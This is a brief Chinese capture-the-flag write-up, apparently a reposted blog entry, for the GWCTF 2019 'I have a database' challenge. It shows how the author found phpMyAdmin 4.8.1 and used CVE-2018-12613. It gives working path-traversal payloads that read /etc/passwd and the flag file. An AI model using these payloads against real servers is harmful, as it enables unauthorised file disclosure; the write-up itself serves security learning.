当前位置：网站首页>[GWCTF 2019]我有一个数据库1

[GWCTF 2019]我有一个数据库1

2022-08-08 06:22:00 【Joker. .】

进来是一堆乱码，查看源码，抓包都没发现什么，这个时候就只能用dirsearch

去扫一下了

可以看到有个/phpmyadmin界面访问一下

得到这样一个界面，关注的点应该在下面这个，一般这种都是查一下版本漏洞

这个是存在这样一个漏洞的phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613）

接下来执行一下漏洞复现

payload：phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd

执行成功，既然/etc/passwd可以被读取成功，就直接尝试一下读取flag

payload：phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag

拿到

（第一次写，纯纯记录一下）

原网站

版权声明
本文为[Joker. .]所创，转载请带上原文链接，感谢
https://blog.csdn.net/qq_63169208/article/details/125467425

边栏推荐

猜你喜欢

随机推荐